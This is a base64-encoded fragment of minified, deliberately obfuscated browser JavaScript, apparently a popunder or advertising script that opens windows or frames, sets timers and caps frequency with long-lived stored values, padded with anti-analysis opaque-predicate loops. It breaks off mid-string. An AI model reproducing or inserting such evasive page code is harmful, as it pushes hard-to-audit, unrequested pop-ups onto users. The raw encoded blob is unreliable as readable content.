Hx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raS